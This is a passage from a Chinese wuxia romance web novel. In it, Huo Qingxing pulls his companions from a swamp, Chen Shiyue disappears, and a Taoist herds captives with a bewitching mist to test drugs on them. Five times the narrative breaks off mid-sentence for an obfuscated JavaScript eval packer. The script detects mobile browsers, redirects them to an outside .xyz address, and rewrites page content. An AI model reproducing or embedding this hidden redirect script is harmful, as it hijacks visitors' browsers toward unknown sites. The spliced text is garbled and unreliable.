霍青行背起了怪人,“跟我走!” 外头不安全,还是进山洞的好,至少黑漆漆的还有食人藤,若是真的有个好歹,还能有所防范。 想了想,霍青行又把人送回去了,但没有往深处去,而是停在了入口最近的一个凹槽处,“这里比较安全,若是他们冲进去只会一个劲的往里面走,你可以趁机离开。” “那他呢?”陈识月问。 霍青行把人放好,靠在了石壁处,又将一旁的巨石挪过来,将一切都笼罩在黑暗中,这才松了口气,“你在这里躲着,若是不对劲就赶紧走,明白了吗?他就不用管了,能活在这里这么多年,自然有他的生存之道,这里面的食人藤都会护着他的。” “嗯!”陈识月连连点头,“你快走!一定要找到冬梅他们。” 霍青行环顾四周,快速出了山洞。 时不待人,得尽快。 霍青行快速离开,开始在林子里转悠,人到底去哪儿了? 远远的,似乎有声音传来。 什么动静? 霍青行皱起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16145824|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眉头,握紧了手中剑,快速循声找去…… 人一走,陈识月便也闲不住的扣住了那怪人的腕脉。 她觉得,自己这辈子都没探过如此紊乱的脉象,好像**了,好像内伤很重,余毒未清,内伤不愈,多处有淤血积堵,气血凝滞……这么多症状,若不是命硬,怕是抗不下来吧? 不敢置信! 简直了! 陈识月喉间滚动,一时间不知道从何下手? 确实无从下手! “怎么会伤得这么重?”陈识月不敢置信,“这都经历了什么?我的老天爷!难怪和食人藤相辅相成,活在这阴暗之中,没有完全丧失理智,都是你命大!” 陈识月收了手,面色略显凝重。 想了想,她环顾四周,没有水,也没办法给他擦一擦,只能轻轻的拨开了怪人凌乱的发,这披头散发的也看不清楚脸,不知道生得什么模样? 厚重的乱发底下,是一张狰狞的脸。 哦不,不应该说是狰狞,而是满脸都是狰狞的疤痕。 这张脸,似乎是被人划烂了,又或者是因为长年累月的伤,因为得不到救治,所以不断的溃败发烂,最后变成了眼前的模样。 陈识月僵在原地,虽然黑乎乎的看不清楚五官,但是这一道道疤痕都是利器所伤,那就不可能是在山洞里所伤,应该是在外面所受。 “难道是行伍之人?”陈识月小声嘟哝,“军中的将士?” 陈识月心头咯噔,若是如此,那当初潜龙关一战的内情,他是不是真的知道……心里的激动无法用言语形容,盼着霍青行能把冬梅他们找回来,到时候大家一起想办法,把人带出山区。 周遭漆黑,看不太真切,陈识月没办法下针,只能先放任不管,要是喂了药,提前醒来了,她可摁不住这个疯子。 外头,静悄悄的,洞内有食人藤不断挪动的声音。 一直窸窸窣窣,响个没完没了。 陈识月心里有些不安,怎么去了那么久还没回来? 霍青行应该不会出事吧? 算算时辰,应该去了快一个多时辰了…… 身边的人“哼唧”了一声,惊得陈识月心下一紧,赶紧补上一针。 祖宗,你可不能现在醒,继续睡吧! 第三百八十章 全栽一个泥坑里 陈识月这一针扎下去,效果甚好,怪人脑袋一歪就继续睡了过去。 如此,陈识月可算是松了一口气,要是真让这祖宗醒了,自己这堪堪愈合的肋骨……怕是又得被折成好几截。 时间一分一秒的过去,但始终没见着霍青行回来,陈识月的一颗心就跟滚油里反复煎熬一般,始终没个落处。 不会又出事了吧? 陈识月小心翼翼的探出脑袋,外头仍是没有任何的动静,霍青行功夫那么好,应该不至于吧? 愁**! 人到底去哪了? 出事了,但又不是完全出事。 出事,是因为人的确出事。 但不安全出事,是因为……单纯是因为意外。 瞧着陷沼泽里的一个个脑袋,霍青行低眉看着脚下的淤泥,要不是他眼疾手快,当时一下子拽住了岸边的杂草,旋即一个狗爬式,怕是也得陷进去。 淤泥与其他的陷阱不一样,底下就像是有吸盘一般,牢牢的把人吸附在里面,很难挣脱出来,功夫再好也没办法力压千钧。 淤泥都淹到了胸口为止,要不是所有人都保持了静默,一动不动的,估计早就沉到底了。 霍青行深吸一口气,找了一圈没想到人在这里,一个两个全凑齐全了。 “迎春?” 没错,迎春也在。 迎春全身上下都被淤泥包围,如今只能仰面朝上,剩下一对鼻孔呼吸。 这…… “你们怎么陷得那么……”霍青行皱起眉头,太远了,树枝估计触不到他们,得有绳索才行,可这附近也没看到有藤蔓。 “迎春还活着。”冬梅忙道。 只是这一出声,身子便冷不丁下沉了些许,边上的护卫也跟着倒吸一口冷气,愣是没人敢有大动作。一个两个,都是大气不敢出。 见着迎春在此,他们第一反应是赶紧冲上来救人,谁知道……跑太快也是致命的。 一个箭步冲上去,然后……全在这了! 霍青行环顾四周,废物三兄弟已经不见踪影,可见在出事以后,这帮人就赶紧跑了,只是这会不知道藏在了何处? 罢了,救人要紧。 这片沼泽有多宽广,无人知晓,肉眼根本瞧不出来,且沼泽之所以为沼泽,是因为没有下脚的地方,要想把人摘出来,而自己不落下去,得有落脚点。 可现在呢? 想了想,霍青行决定冒个险。 “你们不要动,先撑着。”霍青行往后退了几步,“我去砍点树枝当做落脚。” 要不然他伸手一拽,人没出来,自个先陷进去了。 这一个接一个的种沼泽里,那谁去救陈识月? 没人敢动,这地方谁动谁死,尤其是迎春,鼻孔都只剩下了一个,所幸芦苇管子插鼻腔,让她还能透一点点的气。 要不然,胸口的挤压会导致呼吸不畅,而鼻腔的淤塞,则会让她致命! 霍青行砍了不少树枝过来,先救最后面的,靠近岸边的。 “一定要接应好,我伸手的时候,你们必须拽住!”霍青行知晓,一次只能救一人,机会便得牢牢抓住,“不要慌不要乱。” 沉着冷静,才是解决之道。 不能乱,要不然都得种进去! 霍青行清理了自己腿上的淤泥,褪去了靴子,只穿着袜子站在那里,“做好准备,慢慢的伸手,不要动,等着我去把你们**!” 如同,拔萝卜似的! 霍青行将树枝丢出去的瞬间,兀自纵身一跃,脚尖在落地的那一刻,借着树枝的遮挡,瞬时脚下借力,拽住一护卫的胳膊,便纵身朝着岸边飞去。 可真沉啊! 全身都是淤泥,能不沉吗? 落地那一刻,霍青行赶紧清理身上的淤泥,转而又捡起了地上的树枝。之前的已经有所下沉,当然得补上新的。 “等着!”霍青行再度飞身而起。 一回生,二回熟,再拽起第二个护卫时,霍青行也算是轻车熟路,照样是沉得瘆人,所幸还是成功了。 “你们二人,留一人在此看着,另一人去找藤蔓,越长越好,兀自小心。”霍青行冷声吩咐。 “是!” “是!” 刚救出来的,原地休息,剥去身上的淤泥,之前那位已经稍缓,赶紧去找藤蔓。 分工明确,速度得快。 迎春是跑得最远的,毕竟她轻功最好,所以这会最难救。 冬梅距离她不远,毕竟这丫头功夫最好,性子也急。 当第三个护卫被救出之后,霍青行有些犯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147764|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难了。 太远了。 靠这些树枝,没有太大的承载里,要救出冬梅颇费力气,救迎春就更难了。 “冬梅,你做好准备,我且试一试。”霍青行瞧着所剩不多的树枝,当即又去弄了些许。 一护卫还在圻树枝,一护卫在边上看着,一护卫去找藤蔓未归,如今的局面有点难,不知道那边的泥土到底有多松软? 靠近岸边这边,多少是有些结实的,这是霍青行能当即爬出来的缘故。 但是…… “这边……很危险!”冬梅觉得,自己快喘不过气来了,再看向迎春那边。 完了! 迎春更完犊子,这是直接没人了?! 霍青行深吸一口气,“慢慢伸出手,动作缓慢一些,伸出手……我就可以!冬梅,伸手!” 缓慢的吸气,冬梅屏气凝神,慢慢的将手举起来,脚下没有任何的支撑物,那些流动的淤泥越踩越烂,几乎把人吞没其中。 没有落脚点,没有支撑力,沉重的淤泥压得人喘不上气来,稍稍一动便陷得更快。 霍青行手中拿着几根树枝,护卫快速丢出了几根树枝,俨然成了一条生路,他便踩着这条生路,直奔冬梅而去,落脚前一刻,将树枝丢到了迎春的边上。 落脚的瞬间,霍青行拽住了冬梅的手。 脚下猛地一沉,所幸他另一只脚踩在了略显粗壮的树干上,借着最后一点力道,终于拽起了冬梅,狠狠的扑向了岸边。 落地的那一刻,冬梅大口大口的喘着气。 活过来了,活过来了。 宛若濒死的鱼,忽然落回了水里,那股子窒息感消失的同时,脑子也逐渐清明起来,终于没事了。 “迎春?”冬梅急了,顾不得浑身上下沉重的淤泥,连滚带爬的爬到了岸边,“迎春呢?” 已经看不到迎春的踪迹,想救人就得伸手去捞。 可人沉下去了,那就意味着,她即便没死也可能失去了意识,不可能听从霍青行的指令,在救人的过程中,霍青行需要在那里摸索片刻。 可这是沼泽! 要停留片刻,就有陷入的风险。 “我去救!”冬梅忙道,“少将军不要……” 还不等她把话说完,霍青行已经纵身而起…… 第三百八十一章 调虎离山,真正的目标是她 霍青行的速度依旧很快,丢下树枝的同时,人已经垫脚飞过去,迎春现在的状况,已经不容他有任何的犹豫,人在水底下可能还有一两分钟的喘息时间,若是习武之人闭气凝神,也许还能坚持一刻钟。 但是沼泽里不同,淤泥是不会给你存活的机会,会不断的压迫你的胸腔和咽喉…… 霍青行之前就看准了迎春的位置,但是**迎春到底沉到了哪一个位置,是否还能及时抓住她? 不管怎样,都得去试。 霍青行第一次伸手的时候,没抓到人,第二次便稍稍往边上挪动了些许,终于逮住了迎春的发髻,指尖用力勾住,纵然是扯断了这青丝,也好过丢了这条命。 说时迟那时快,霍青行狠狠一用力。 在迎春终于被拽出脑袋的那一刻,霍青行快速掐住了她的肩膀,直接把人拖出了泥淖。 只是…… “少将军!” “少将军!” 冬梅与岸边的护卫惊呼,可即便如此,谁也没办法,隔得太远,他们的功夫不如霍青行,轻功不如迎春,扑进去也只是送死罢了! “少将军!”冬梅觉得自己快要急**。 怎么办? 怎么办? 蓦地,藤蔓被丢了过来。 “冬梅姑娘,你力气大,靠你了!”之前寻找藤蔓的护卫,正抱着一圈藤蔓回来,身后还拖着长长的一介。 越粗越长的藤蔓,分量就越重,一般人未必能丢到目标位置,但是冬梅力气大,兴许可以…… “真是瞌睡就来枕头,简直就是及时雨啊!” 冬梅险些喜极而泣。 来得真及时,要不然的话,后果不堪设想。 霍青行已经陷进去了,周遭连根**都没有,想要爬起来根本使不上劲,脚下宛若千斤重,一直拖拽他们朝着底下沉去。 便是这千钧一发之际,藤蔓被甩到了他手边。 “少将军,抓紧!”冬梅疾呼。 霍青行毫不犹豫的拽住了藤蔓,另一手则抓住了迎春的胳膊。 “用力!”冬梅低喝。 身后的护卫旋即一起发力,快速拽住了藤蔓往后拉。 冬梅的力气不小,但她这些日子实在是饿得狠了,又被泡在沼泽里那么久,早就精疲力竭,如今只能使出全部的力气。 这个时候,谁也不敢吱声,只铆足了劲,咬着牙把两个泥人一路拖拽过来,阻力之大,可想而知。 软烂的泥淖里,没有支撑点,全身上下还被淤泥包裹得动弹不得,纵然霍青行功夫再好,也是心有余而力不足。 何况,他还拽着失去意识,只剩下一口气的迎春…… 淤泥那么滑,他所有的力气都在紧握之上,至于其他,爱咋咋地。 抓紧迎春,她能活。 抓紧藤蔓,都能活。 终于,把霍青行拽上岸之后,众人齐心协力的将迎春拖了上来。 “还活着,还活着!”冬梅喜极而泣,眼眶里蓄满泪水,“迎春还有气!” 还有气,就还能活。 不管怎样,先去找点水。 好在之前废物三兄弟为了能活下来,主动给他们找了食物和水,所以水源地在哪儿,他们一回生二回熟,赶紧抬着迎春去找水。 及至水边,冬梅赶紧洗干净了迎春身上的泥泞,如此一来便不会呼吸困难。 “你在这边帮着她清洗,我们去那边。”霍青行转身就走。 毕竟,男女有别。 “少将军放心,交给我。只要迎春没事就好!”冬梅动作麻利,尤其是瞧着迎春呼吸越发用力,一颗心终于落回了肚子里。 真好! 真好! 霍青行与护卫在另一边重新洗刷身上的淤泥,一个个好不狼狈。 等到彻底洗干净,天都已经渐黑。 每个人都是湿哒哒的,好在都还活着,这便是不幸中的万幸。 “如何?”霍青行转回来的时候,冬梅已经处理完了迎春身上的泥泞,连带着自己身上的也处理得干干净。 冬梅瞧着被平放在落叶堆上迎春,“我摸着脉象趋于平稳,呼吸没问题,人还活着,现在处理干净了,是不是赶紧回去找姑娘?姑娘是大夫!” 没有外伤,也没有内伤,呼吸平稳,只是人暂时还没醒。 冬梅想着,应该没什么大碍吧? 霍青行也不懂这些医理,如今的状况自然是赶紧回去找陈识月,眼见着天都黑了,陈识月怕不是会急疯了? 还有那个长虫精,浑然一个臭不要脸! “走!” 霍青行亦是精疲力竭。 一护卫背上了迎春,冬梅快速行至霍青行的身侧,面上有些踌躇。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16158188|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说吧,到底怎么回事?为什么你们没有守在洞口?”霍青行记得自己明明吩咐了众人,一定要守在门口,为什么集体离开了? 冬梅犹豫了一下,似乎也是有些懵。 “为何不回答?”霍青行皱眉。 他不明白,这里面到底出了什么事? “我们当时看到你们走了。”冬梅低声开口,“咱就是跟在你们后面,才找到的迎春。” 音落,霍青行愣住了。 冬梅抿唇,面色有些难看。 “可我们当时在山洞里,一直没出来。出来之后,发现你们全都已经不见踪影。”霍青行发现自己与冬梅的话,几乎是对不上的。 冬梅看向护卫,“我们当时都看到你们两个一直往前跑,所以……” “对!我们都看见了,少将军带着姑娘,头也不回的跑了,咱一直喊着都没能让你们回头。”护卫认真的回答。 霍青行:“……” 这就有点诡异了。 “会不会是那三个废物干的好事?”冬梅陷在沼泽里的时候,就有所怀疑。 如今想想,可能真是如此。 “也许吧!”霍青行点点头,“好在还来得及。” 只是迎春陷在沼泽里太久,所以…… 先回去再说。 月儿应该等急了吧? 的确。 眼见着天都快黑了,人还没回来,陈识月怎能不着急? 可她不敢出去。 没有自保能力,身边又没人的情况下,她就是待宰的羔羊,但凡出来个功夫不弱的,抓她都跟抓小鸡仔似的……容易得很! 然而有些事情,不是不出去就能躲过的,尤其是人倒霉的时候。 日落西山,夜幕降临。 四下,一片漆黑。 霍青行站在洞口,猛地止步。 “怎么了?”冬梅不解,“姑娘?” 她喊了一声。 没有动静。 “姑娘?”冬梅又喊了一声。 依旧没有回应。 不对! 姑娘耳聪目明,若是知晓他们回来了,必定会应和一声,如今什么动静都没有,是不是意味着……姑娘出事了? 坏了! 霍青行冲了进去,巨石后面早已没了陈识月的踪影,连同那个怪人一起,消失得无影无踪…… 第三百八十二章 长了腿的迷雾 没有? 怎么会没有呢? 为什么会没有呢? 霍青行差点就疯了,山洞内有食人藤,但是没有陈识月,也没有那个怪人,因为食人藤在发疯,就好像找不到自己的主人,稍有风吹草动,就开始没有方向的躁动挪移。 人不在这里。 “人呢?”霍青行急了,快速冲出了山洞。 冬梅摇摇头,“外头也找遍了,没有找到姑娘。” 山洞里灭眼,山洞外也没有。 霍青行几乎快疯了,“月儿??月儿!” 怎么会这样? “会不会是那三兄弟做的事?”冬梅的怀疑也不是没有缘由的,之前他们三兄弟就各种作死,让他们困在这林中,一直在兜圈子。 现在,也不是没可能…… 如果真的是单纯的废物,不可能一直留在这里,长乐门不留无用之徒,这三个势必藏私。 “继续找!”霍青行抬步就走。 之前药效还在,他找陈识月其实不费太多事,因为他与她之间的羁绊很深,但如果这林子里布下了迷障,那他看见的可能只是幻影,并非是真的。 再者…… 药效逐渐吸收,他已经不太能看清楚,陈识月留下的萤光。 即便如此,还是得找! 不惜一切,找到她! “冬……冬梅!” 身后忽然传来了响声,冬梅惊喜回头,“迎春?迎春你醒了!谢天谢地,你终于醒了!” “我……我怎么在这里?”迎春脑子晕眩得厉害,这是因为之前窒息导致的,要不是她当时用了龟息功,只怕这会醒了也是个傻子。 脑子缺氧,后遗症不敢想…… “你落在沼泽里了,你不记得了?”冬梅追问。 迎春有片刻愣怔,护卫已经点燃了火把。 光亮起,迎春的视线扫过周遭,“少将军?姑娘呢?冬梅,姑娘呢??” 不是让她好好保护姑娘吗? 人呢? “姑娘不见了。”冬梅将迎春搀起来,“我们全都陷在了沼泽里,要不是少将军救了咱们,怕是**都找不到尸体。” 迎春好像出现了记忆的缺失,反应慢了一拍,“沼泽?” 陷在了沼泽里? 好像是这么回事。 “大家分开找,冬梅你照顾好迎春。”霍青行已经耐不住了,拿着火把转身就走,一护卫旋即跟上。 两人一组,确保照应。 冬梅搀着迎春往前走,“边走边说。” “我当时……当时刚走出去没多久,就好像误入了迷雾之中,然后……”迎春努力回想着,却好似昏昏沉沉的,怎么都想不太清楚了。 冬梅瞧着她满脸懊恼的样子,忙不迭宽慰,“你别想了,刚苏醒过来,免不得心里没缓过劲来,等过些日子你恢复了,就知道之前发生过什么事情了。” “我怎么会在沼泽里呢?”迎春脑袋昏昏沉沉,就好似有人在她脑子里蒙上了一块布,遮住了她的眼睛,让她想不清楚,看不明白,好像是丢了三魂七魄一般。 冬梅看出来了,她状态还没恢复,如今能醒过来已经是不幸中的万幸,“你别多想,如今还是找到姑娘要紧,其他的都可以放一放。” “姑娘……”迎春犹豫了一下,“为什么会失踪呢?” 冬梅:“……” 说来话长,这该如何说起呢? 算了,先找人吧! 只是不知道,人到底去了何处? 周遭渐渐的有迷雾浮现,冬梅的眉心突突跳,“这是怎么了?” 四下好像迷雾渐浓,这状况有些不太对劲。 “这是怎么回事?”迎春愕然。 两人面面相觑,已然意识到事情不太对劲,当即背对背靠着,时刻应对接下来会发生的突发状况,一颗心砰砰乱跳,及至整个人都笼罩在迷雾之中,人影彻底消失无踪。 林中的迷雾越来越浓,好似长了脚一般,开始在不归林中到处游走,所经过之处全部被迷雾笼罩。 瞧着远处快速而来的迷雾,霍青行脚步一顿,“等会!” 火光摇曳,直觉告诉他,那绝对不是什么好事。 思及此处,他掉头就走。 “走!” 护卫紧随其后。 两人快速撤离,尽量避开这些迷雾,以免深陷其中,到时候再出点什么事,那可就…… 等会? 这迷雾里怎么好像有人? “少将军,这里面好像有人影?”护卫惊呼。 霍青行也看见了,的确是人影,而且不像是一人,倒像是好几个人。 “这迷雾会**?”霍青行脑子里陡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168275|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然警铃大作,“撤!” 快撤! 不对劲! 这迷雾不对劲! 然而不管他们怎么跑,这迷雾始终追在后面,好像是不将他们吞没,就誓不罢休一般?如此这般,委实叫人心惊胆战。 “少将军,这东西怎么还追着人跑呢?”护卫惊呼,“少将军,咱往哪儿跑?” 想了想,霍青行仰头看树,“上树!” 前方不远处是一棵参天大树,二人先后脚上了树,快速往树梢爬。 所幸,他们速度够快。 爬到了一定高度就不能再往上爬了,越往上树梢越脆弱,有摔下来的风险。 霍青行抱紧了树干,低头往下看,只瞧着下面的白雾正在快速挪动,这不看不知道,一看吓一跳,到了这会他们才发现,周围已经全部被白雾笼罩。 “少将军,怎么全白了?”护卫不敢置信的瞪大眸子,“瞧着甚是诡异,就像是活的一样?这不会也是长乐门的人,弄出来的新花样吧?” 霍青行也不清楚,但瞧着的确不像是自然形成,委实像是人为。 “小心点就是。”霍青行面色凝重,到处看了看,只瞧着白雾里有几道黑影正在轻飘飘的晃动,就像是随风飘的孤魂野鬼,让人瞧着有些不太对劲,“这迷雾好像会蛊惑人心。” 吞噬活物,蛊惑人心? 是毒? 如此说来,这就不是什么迷雾,而是某些人放出来的毒烟? 谁是始作俑者? 那个长虫精? 难说。 “少将军,那是不是……冬梅和迎春?”护卫惊呼。 顺着他手指的方向看去,霍青行还真的看见了冬梅和迎春,只瞧着二人仿佛丢了魂一般,双肩垂下,脑袋耷拉着,就这么一走一晃悠的在林子里穿梭。 “她们怎么了?”护卫只觉得头皮发麻。 好像被勾了魂一样? “怎么会这样?”护卫抱紧了树干,“少将军,我们该怎么办?” 霍青行还没从震惊中回过神来,忽然瞧见不远处,骤然有飞鸟齐刷刷惊起,顷刻间野鸟齐飞,仿佛受了莫大的惊吓,从这边树梢呼啦啦飞到了那头树梢。 这又是怎么了? 霍青行皱眉,看这阵势,怕是要出事。 果不其然,天空忽然一记炸雷…… 第三百八十三章 拿他们试药 一记炸雷,不远处的树被闪电劈中,瞬间燃起了山火,那一瞬的摧枯拉朽,看得人目瞪口呆,这突如其来的一幕,连霍青行都止不住心颤。 人终究是渺小的,如何能与天地间的万物规则抗衡? 打雷了要下雨,不知道一阵雨能把这迷雾冲散? 然而,还是想太简单了。 一阵雨不能冲散迷雾,反而让这一阵迷雾愈发扩散开来,周遭所有的活物都被笼罩其中,其后这些东西便都随着迷雾四处晃荡,瞧着十分诡异可怖。 霍青行心如擂鼓,砰砰乱跳,如果说这迷雾能吞噬一切,那月儿他们是不是也在这其中呢? 月儿? 霍青行环顾四周,“找找看,有没有月儿?” 护卫回过神来,慌忙盯着底下的迷雾查看。 有没有? 谁知道呢? 没有看到陈识月他们,倒是瞧见冬梅和迎春,二人像是游魂一般走远,也不知道是要去哪里? “这些迷雾是不是……”霍青行狐疑的开口,“有方向的?” 有方向的,有目的的,引导这些活物朝着某一个地方而去? 目的地在哪? “那边是不是?”护卫忙开口。 顺着他手指的方向,似乎有一道影子正在快速挪动,像是…… “不是!”霍青行能一眼就认出来,这不是陈识月。 自家媳妇的身影,还能认错吗? 不可能! 做梦都不会认错,否则如何能在长大后,一眼就认出她? “瞧着好像很快?”护卫惊呼,“这是什么缘故?” 的确,那身影虽然纤瘦,但白雾之中仍是敏捷至极,像是灵猴一般在那里快速疾奔,看得人有些心惊胆战的,这是要去哪儿啊? “是那个怪人。”霍青行认出来了。 白雾在地下,要从这边跳到那边,倒也不是难事。 霍青行看了一眼周遭的地理环境,“我们从树梢过去,要仔细一些,莫要脱手滑下去。” “是!” 两人各自做好了准备,瞬间一个腾空飞过去,宛若灵猴一般在林中飞窜,那白雾只能在下面游荡,无法无限制的往上弥漫,这就像是钻了空子。 这好像是朝着不归林外面去吧? 果然是长乐门的人在作祟! 一直到了前面,霍青行停下,护卫在另一棵树上落下,二人站得高看得远,正是方才野鸟齐飞的位置,这是……好多人? 黑压压的一群人,但白雾却止步不前,似乎就到此为止了。 渐渐的,迷雾有越发稀薄的趋向。 这是都被笼过来了,所以目的达成,可以就此散去? 迷雾渐渐散去,迎春和冬梅站在那里,另外两个护卫也是驻足原地,就像是被人勾魂了一般,身形摇摇晃晃的,脑袋耷拉着,脚下都有些虚浮。 这不对劲! 被控制了? 霍青行一颗心提到了嗓子眼,难道说月儿也被带到了这里? 远处,有一道黑影趴在了树梢,应该就是之前的怪人吧? 想了想,霍青行冲着护卫做了个禁声的动作。 护卫颔首,只站在原地看着。 “体质都不错。”一个花白头发的老道,慢慢悠悠上前,捏起了冬梅的下颚,面色略有欢悦状,看得出来是有些满意的,“尤其是这个。” 冬梅的体质极好,站在那里任由他捏着下颚,似乎是在验看一个货物。 “拿来试药,应该能撑好一阵子。”白发老道眯了眯眸子,“其他的这几个嘛……先留着,也不是不能用,瞧着都身强力壮的,这一次真是收获颇丰啊!” 说着,他看了一眼,远远躲在石头后面的废物三兄弟。也亏得这三兄弟提醒,说是林子里来了人,要不然的话,他哪有这么大的收获? “你们三个干什么?”白发老道皱起眉头,“一个两个都是怂包,让你们给我找人,一直拖拖拉拉的,以后就照着这一次的找,若是再敢不办事,我就拿你们试药。” 废物三兄弟,一个个脸色难看到了极点,尤其是看到,被抓住的迎春和冬梅…… 尤其是,迎春。 “进了沼泽这么久都没死,还真是……”瘸子喉间滚动,“迷幻香都用他们身上了,居然也没弄死他们,真是可惜了!” “那要不要再问老道拿点迷幻香?”身后二人面面相觑。 他们功夫不高,但是偷鸡摸狗倒是一流,所以用起迷幻香来,那叫一个顺手。 只是这会…… “老道,给点迷幻香?”瘸子低声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16169634|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开口,“他们几个很难对付,这一次我们就差点栽他们手里,要不是你给的迷幻香,怕是逃不过一劫。” 白发老道愣了愣,“这么厉害?” “我看看!”瘸子看了一圈,面色瞬变,“哎哎哎,好像少了两个?” “不对,少了三!”余毒未清的那位,失声尖叫,“坏了坏了,最厉害的那两个不在。” 白发老道没明白过来,“什么最厉害的两个?” “一男一女。”瘸子面色惨白,“那男人功夫奇高,那女人还会医术,这二人在一处,简直就是杀神转世。尤其是那女子,不仅仅会医术,还会下毒。他们联起手来,便是**都不是他们的对手!” 听得这话,白发老道不敢置信的开口,“你说什么?连**都不是他们的对手?” “嗯!”三兄弟不约而同的点头。 那一刻,所有人都沉默了。 气氛,一下子冷了下来。 白发老道瞧着这群人,“那就一个都不能留,全部带到我的山洞里去,只要让他们都**,这件事就可以彻底了账。剩下那两个,早晚我也会用**烟把人给拘过来!” 会医术? 会下毒? 那是没碰到他这老道,否则早就让他们有来无回了! “你们这帮废物,还愣着干什么?”白发老道低喝,“还不赶紧把人送进我的洞里去?” 三废物赶紧回过神来,“是是是,马上送,马上送!” “这次的事情办得还成,那就给你们迷幻香,记住了,下次也照着这一次的品质来找。”白发老道拂袖转身。 白雾愈发的淡去,眼见着是快消散在眼前了。 霍青行裹了裹后槽牙,终是在他们全部进洞之后,落在了地上。 “原来他们之前说的话,全都是假的。”护卫恨得咬牙切齿,“还说得那么真切,却原来……都是骗人的!简直岂有此理!” 霍青行却顾不得这些,“没看到他们带月儿进去?” 那月儿人呢? 下一刻,怪人已经冲进了山洞。 霍青行心惊,“走,跟上去!” 不管陈识月在不在里面,得先把冬梅他们救出来再说。 还有,那老道说的……试药? 试什么药? 第三百八十四章 谁先得手,就是谁的 这山中最多的便是洞窟,肉眼可见的,都是一个个黑黝黝的洞口,若不熟悉地形,怕是很容易陷进去,人也很容易跟丢了。 进去之后,里面一片漆黑,好在很快就适应了环境,霍青行逐渐的缓过来,快速追了进去。 白发老道走得很快,废物三兄弟在后面跟着,有因着要抓人的缘故,所以有些落后,这就给了霍青行跟上来的时间。 弯弯绕绕的石洞,怪石嶙峋。 入目所见,皆是阴森可怖。 谁也不知道,哪个阴暗的角落里,会不会忽然蹦出点什么来? 似乎是有所察觉,白发老道忽然停了下来,若有所思的回头看了看,目光在周围逡巡,半晌才冲着那废物三兄弟喊了声,“怎么那么慢?还不赶紧点?要是耽误了我的好事,看我怎么收拾你们?” 废物三兄弟在后面跟着,慌忙应声,“知道了知道了!” “快点!”白发老道抬步朝前走。 后面的人继续跟着,那些被迷雾俘获的人被三兄弟推搡着,以晃悠的姿势朝前走去,这画面怎么瞧怎么诡异。 “快走快走!”瘸子推搡着冬梅。 身后两兄弟,也不停的驱赶着其他人。 当然,不只是冬梅迎春和其他两护卫,还有几个生面孔,不知道是误闯的樵夫,还是一些江湖人,总之……像是习武之人。 一行人快速前行,终是拐个弯,进入了一个很大的洞窟。 这洞内摆放着不少架子,上面放着不少瓶瓶罐罐,边上则是醒目的药柜,浓郁的药味不断散开,熏得霍青行脑子都有些难受。 不知道为何,他瞧着眼前这些,隐约觉得有几分眼熟,仿佛是在哪儿见过? 最中间位置,似乎被掘出了个池子,水光潋滟,只是…… 水好像是黑的? 脑子忽然清醒了,霍青行好似想明白了,这里像极了陈识月被抓走,被人摁住试药的地方,那个洞窟里似乎也是这样的场景。 类似的布置,宛若故地重游。 拿活人试药! 他们在拿活人试药! 该死的东西! 这是月儿最不能容忍的事情,上次因为这样,她被人喂了蛊虫,如今不管是谁被拿来试药,霍青行都会出手。 月儿忍不住的事情,他决不能忍! 深吸一口气,霍青行继续观察,示意护卫不要轻举妄动,他倒要看看这帮腌臜东西,还要闹出多少花样来? 